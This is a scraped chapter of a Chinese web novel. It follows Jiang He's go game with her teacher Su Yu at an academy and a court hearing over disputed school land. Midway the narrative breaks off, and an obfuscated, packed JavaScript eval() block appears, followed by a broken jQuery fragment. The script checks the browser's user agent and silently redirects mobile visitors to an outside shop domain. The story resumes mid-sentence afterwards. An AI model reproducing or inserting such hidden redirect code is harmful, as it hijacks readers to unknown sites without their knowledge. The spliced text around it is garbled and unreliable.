文趣网 > 其他小说 > 清贵公子掰弯手札[gb] > 5. 见山书院(三)
    一张画着巨大只王八的纸,赫然出现在两人眼前。

    江鹤没等他反应,上前一把抢了过来,直接塞进嘴里。

    “咳咳咳...”

    她满嘴都是苦涩的草木味和墨臭,她梗着脖子硬吞,却怎么都咽不下去,江鹤拍打着胸脯,进来时的困意全无。

    苏玉递来一个茶盏:“喝口水,别噎着了。”

    江鹤接过后喝了一口,被水化开的焦臭味让她恶心的想吐出来,但还是忍住了,一口一口地嚼烂后硬生生咽了下去。

    她平复心情后解释道:“学生偶尔涂鸦之作,不敢污先生耳目。”

    她一边在心里祈祷:他一定没看到,他一定没看到王八上写的名字。

    苏玉含着浅笑坐了回去:“不至于。”

    他是在笑我吗?

    江鹤抬眼悄悄观察他的神情,揣测他刚刚到底看没看见,她觉得自己的速度很快。

    她现在只祈祷不要再出现王八了,她已经记不得昨晚到底画了几只。

    苏玉坐下后又随意翻了翻,末了说了一句:“字倒是不错,颇得傅啸林的神韵——”

    废话,就是那老头本人教的,能不像吗,江鹤心想。

    “很豪放。”

    “哈哈...”江鹤干笑了两声来掩饰尴尬,合着刚刚不是夸自己的。

    她的视线顺着苏玉斜坐的方向看去,桌案右侧夕阳的余晖里,有一盘棋局,看着有些眼熟。

    她竟鬼使神差走了过去。

    那是一盘看似无解的残局。

    江鹤心中一喜,自顾自坐下后,新执一枚黑子落定。

    她母妃痴迷棋道,江鹤很小的时候便常与她对弈,一局棋往往消磨掉整个午后。

    眼前这残局,她曾在一本古书上见过。

    那是她幼时为找话本儿,偷溜到宫中的禁书阁,无意中翻到的。因娴妃喜欢棋谱,她便带了回去。

    时隔多年,她仍清楚地记得,她母妃看到那本书时如获至宝的神情。

    苏玉注意到她的动作,走了过来。

    只见濒死之局豁然开朗。

    江鹤抬起头,望向那双注视她的眼睛。

    那汪泉水流动了起来,他笑起来很温柔,怪不得洛惊鸿说他温润如玉。

    如今看来,名副其实。

    江鹤站起身,行礼道:“学生班门弄斧,先生见笑了。”

    她心里得意洋洋,哼哼,这还迷不死你?

    “你会下棋?”

    苏玉有些意外,语气里带着几分探究。

    “儿时常与家母对弈,下得多了也就会了。”

    江鹤面容清丽,语气谦卑,不了解她的人很容易以为她是个温顺的。

    这种长相做起坏事来,最容易了。

    “谦虚了。”

    苏玉落座在棋局另一侧,示意她坐:“可愿再与我手谈一局?”

    江鹤抬头对上他的眼睛。

    人人都道若是喜欢一个人,是不敢直视对方的眼睛的,可是江鹤偏偏喜欢直接与他对视,紧盯的目光像是要穿透他的眼眸,她想要看看里面到底藏了些什么。

    这应该不是喜欢吧,不然自己为什么这么坦然。

    对方也并没有躲闪。

    江鹤浅笑致意:“与先生对弈,是我的荣幸。”

    春日微风习习,朦胧的落日余晖里,对坐之人,不知究竟是谁入了谁的棋局。

    夕阳一寸寸后移,直至消失不见,后来又换成月影悄悄淌进屋里。

    月光落到书案桌脚的小猫身上,它自顾自叫了几声,然后将自己团成一团,沉沉睡了过去。

    一局快要结束,江鹤这几日积累的困意逐渐漫上来。

    她的身形渐渐倒下,最后趴在棋盘上,枕着胳膊就睡着了。

    苏玉坐在她的对面,看着她一点点趴下去。

    风吹了进来,轻轻拂动她额前的碎发。

    苏玉静静地望着她,缓缓开口。

    “那日,是你吗?”

    对弈之人没有回答。

    苏玉起身走到窗边,将窗户关好。

    临走时苏玉回头看了她一眼,随即又折返回来,在她身上披了件衣服,之后便悄无声息地离开了。

    春日的夜晚仍带着凉意,江鹤无意识地拢了拢身上的衣服。

    那晚她做了一个梦,梦里白雾茫茫,分不清天与地的界限。

    雾中央站了个人,让她快跑。

    江鹤往后看了一眼,只见身后无边的黑暗如潮水般向她吞噬而来。

    她拼命地往前跑,可无论她怎么追,都追不上那个人。

    在即将被黑暗完全吞噬的那一刻,她猛地从梦中惊醒,一下子坐起来。

    江鹤环顾四周,发现此时天还没有亮透,四周陈设在将醒未醒的曦光里显得格外静谧。

    “我竟然在这儿睡着了。”

    江鹤想起来自己昨晚棋下着下着,倒头就睡了。

    她回头看见掉在地上的衣服,一眼就认出来这是开学那日,苏玉穿的那件。

    他走了吗?

    江鹤捡起那件外衫,不自觉放到鼻尖闻了闻,是他身上的味道,淡淡的茉莉花香。

    “好想藏起来。”

    江鹤意识到自己在做什么后,转念又摇了摇头,随即清醒了几分。

    她有些自我嫌弃地自言自语道:“云沧溟,你在干什么,你是变态吗?”

    江鹤打了个寒颤,把衣服叠好后看向一旁的卧榻。

    那只猫团成一团,还在睡。

    啧啧,命真好。

    江鹤走过去,摸了摸它圆圆的脑袋,又把叠好的衣服展开,盖在那只猫身上。

    关门时,她最后看了一眼昨晚那盘没下完的棋局。

    她有些遗憾。

    刚转过身,江鹤正好碰上往这边走的文隽。

    文隽是苏玉身旁协理事务的师兄,也是苏家的人。

    “诶,鹤师妹,一大早你怎么在这?”

    江鹤瞧他手里抱着一摞书册,想来是送东西的。

    “哦,那个……我来送罚抄。”

    文隽点点头:“这样啊,先生他一般是上了早课才会来书房的,你那时再来吧。”

    “好。”

    “最近食堂新上了桃花冻,大家都在抢,现在还早人比较少,你快去吧。”

    “谢谢师兄。”

    江鹤还以为文隽和苏玉一样话不多,没想到是个话痨热心肠。

    倒是有点意思。

    文隽目送着她离开的背影,心中不解,送罚抄怎么什么都没拿呢。

    但他倒也没多想,推门进去了。

    到食堂后,江鹤果然闻到一股浓郁的桃花清香,最近正值桃花季。

    她趁人少给序竹多拿了几个。

    用过饭后江鹤去上早课,这一路上她都沉浸在棋局的余韵里,期待早课再见到苏玉,可刚转过月门,她就看到一群不该出现在这里的人。

    德曦堂门口,六个皂隶身穿黑红相间的公服,手按刀柄一字排开,廊下的学生们缩在两旁,交头接耳。

    苏玉就站在他们对面。

    江鹤

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546421|204167||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    放慢脚步,混进学生堆里。

    “官府传唤——府台大人有令,见山书院涉嫌侵占学田,请山长跟我们走一趟。”

    为首的差吏手里拿着传票示意诸人。

    江鹤透过人群看到,传票上盖的是府衙大印,不是县衙的。

    照理说,这种案子都是归县衙先接手的。

    “请吧。”皂隶两侧排开让出一条路。

    苏玉没多说什么,只身跟他们走了。

    等人走后,刚刚噤声的诸学子逐渐放声,闹哄哄的。

    江鹤瞥见裴宣正躲在躁动的人堆里,一副看好戏的神情。

    果然。

    江鹤跟着人流,一路来到公堂外。

    公堂比她想象的要大得多,‘明镜高悬’的匾额挂在正中,朱漆剥落了几处,看着有些年头了。

    只见裴义威风凛凛的坐在堂上,一副小人得志的模样。

    堂下有两个人,一侧站着苏玉。

    另一侧却坐着一个身穿绯袍,通身贵气的人。

    江鹤一眼就认出了他,那是魏王云牧的女婿,仪宾陈叙。

    她曾在宫中万寿节上与他有过一面之缘。

    堂上寂静。

    裴义将两本册籍往前一推,皂隶接过,送到苏玉面前。

    “苏先生,这是户房的鱼鳞图册正本,另一本是对应的黄册。”

    裴义字字清楚:“上面写得明白,李家村二十八亩学田,业主陈叙,税粮登记在册。”

    “见山书院涉嫌侵占学田,山长你认不认?”

    苏玉没有立刻答话。

    他翻开两册,正如裴义所说,陈叙名下,那二十八亩田地赫然在列,税粮、等级、四至,无一不全。

    他合上册子,抬起头。

    “大人,这两本册子,在下不认。”

    堂下有人冷笑。

    赵叙安坐在椅子上,手指慵懒地敲着扶手。

    “册籍不认?”他的声音居高临下,“那山长认什么?”

    裴义端起茶盏抿了一口,目光落在案上,不看任何人。

    苏玉从袖中取出一叠发黄的纸页:“这是书院的红契,经官盖印,上面写明李家村二十八亩,业主见山书院。”

    “按《大盛律》,经官盖印的红契为凭,其效力不在册籍之下。”

    皂隶将红契呈上,裴义接过翻看,契纸虽旧,却无半点伪造痕迹。

    他看了片刻,语气淡了几分:“红契虽真,可十年前的册籍也是官册。两样都是真的,你说,本府该信哪个?”

    赵叙在旁轻笑了一声:“山长,册籍在此,黄册也在此,你还要纠缠什么?这案子审得久了,怕是对书院不好看。”

    苏玉并没有理睬他,目视裴义道:“大人,在下以为,此事当先奏闻朝廷。”

    堂上一静,裴义抬起头。

    赵叙的手指在扶手上微微一顿,目光钉了过来。

    “按大盛律,仪宾涉讼,地方官不得擅审,当实封奏闻,请旨提问。”

    “大人今日开堂,于法不合,日后朝廷查问起来,只怕大人也不好交代。”

    苏玉顿了顿,不卑不亢道:“在下请大人暂停堂审,奏请上裁。若他日朝廷准了,在下自当应诉,绝无二话。”

    这件事说大不大,说小不小,土地兼并一直都是大盛的痼瘤,闹大了让朝廷知道,这戏就有的看了。

    赵叙盯着苏玉,目光冷下来,随后又逼视了裴义一眼。

    他在拿皇亲的身份施压。

    堂下百姓屏息凝神,都在等知府发话。